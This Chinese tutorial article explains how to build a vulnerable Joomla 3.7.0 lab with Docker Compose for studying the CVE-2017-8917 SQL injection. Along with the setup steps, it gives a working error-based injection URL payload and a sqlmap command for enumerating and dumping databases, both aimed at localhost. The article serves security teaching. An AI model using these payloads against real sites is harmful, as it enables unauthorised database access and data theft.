别再手动搭环境了!用Docker Compose一键部署Joomla 3.7.0 SQL注入靶场(附完整命令)

张开发
2026/4/27 4:01:51 15 分钟阅读

分享文章

别再手动搭环境了!用Docker Compose一键部署Joomla 3.7.0 SQL注入靶场(附完整命令)
用Docker Compose三分钟搭建Joomla漏洞实验环境从零到实战的标准化方案当安全研究员需要复现一个经典漏洞时最耗时的往往不是漏洞利用本身而是环境搭建这个脏活累活。传统的手动部署方式需要处理依赖冲突、版本匹配、服务配置等一系列琐碎问题而Docker Compose提供的标准化方案能让这一切变得优雅简单。以Joomla 3.7.0 SQL注入漏洞(CVE-2017-8917)为例我们将展示如何用容器化技术实现一键式环境部署让学习者把精力集中在漏洞原理分析而非环境调试上。1. 为什么选择Docker Compose方案手动搭建漏洞实验环境存在几个典型痛点版本依赖噩梦需要手动安装特定版本的PHP、MySQL、Apache等组件环境隔离困难多个实验环境容易产生端口或服务冲突配置易出错Web服务器配置、数据库连接等环节容易遗漏细节复用性差无法快速在不同机器上复制相同的实验环境Docker Compose通过声明式配置解决了这些问题。我们来看一个对比评估维度传统手动部署Docker Compose方案部署时间30分钟以上3分钟以内环境一致性依赖本地系统环境完全隔离的标准化环境配置复杂度需手动修改多个配置文件单一YAML文件定义所有服务清理难度需逐个卸载组件一条命令彻底清除所有痕迹教学适用性学生环境差异导致问题各异统一实验环境便于教学管理2. 环境搭建全流程详解2.1 准备工作确保系统已安装Docker引擎和Docker Compose插件。验证安装docker --version docker-compose --version若未安装可通过以下命令快速安装Ubuntu示例sudo apt-get update sudo apt-get install docker.io docker-compose提示建议将当前用户加入docker组以避免频繁使用sudosudo usermod -aG docker $USER执行后需要重新登录生效2.2 编写docker-compose.yml创建项目目录并编写配置文件version: 3.8 services: joomla: image: vulhub/joomla:3.7.0 ports: - 8080:80 environment: - JOOMLA_DB_HOSTdb - JOOMLA_DB_USERjoomla - JOOMLA_DB_PASSWORDjoomla - JOOMLA_DB_NAMEjoomla depends_on: - db db: image: mysql:5.7 environment: - MYSQL_ROOT_PASSWORDroot - MYSQL_DATABASEjoomla - MYSQL_USERjoomla - MYSQL_PASSWORDjoomla volumes: - mysql_data:/var/lib/mysql volumes: mysql_data:关键配置说明services.joomla使用vulhub官方维护的漏洞镜像ports将容器80端口映射到主机8080端口environment预设数据库连接参数避免安装向导volumes持久化MySQL数据避免容器重启后丢失2.3 启动与环境验证在yml文件所在目录执行docker-compose up -d等待镜像拉取和容器启动完成后访问http://localhost:8080应看到Joomla安装完成的界面。如需停止环境docker-compose down3. 漏洞验证与原理分析环境就绪后我们可以验证SQL注入漏洞的存在。这个漏洞源于Joomla的com_fields组件对list[fullordering]参数未做过滤导致SQL注入。3.1 基础漏洞验证访问以下URL触发报错注入http://localhost:8080/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml(0x23,concat(1,user()),1)正常应返回包含数据库用户名的错误信息证明注入点存在。3.2 自动化利用示例使用sqlmap进行自动化检测sqlmap -u http://localhost:8080/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]test --risk3 --level5 --batch --dbs常用参数说明--dbs枚举所有数据库--tables枚举指定数据库的表--dump导出表数据4. 教学场景中的高级应用4.1 多实例并行实验修改docker-compose.yml的端口映射可创建多个独立环境services: joomla1: ports: - 8081:80 joomla2: ports: - 8082:804.2 自定义漏洞变体通过Dockerfile构建自定义镜像FROM vulhub/joomla:3.7.0 COPY custom-component/ /var/www/html/components/com_custom然后在compose文件中引用services: joomla: build: . image: my-joomla-vuln4.3 网络拓扑模拟compose支持定义复杂网络networks: internal: driver: bridge external: driver: bridge services: joomla: networks: - internal - external这种隔离环境特别适合演示网络边界渗透场景。

更多文章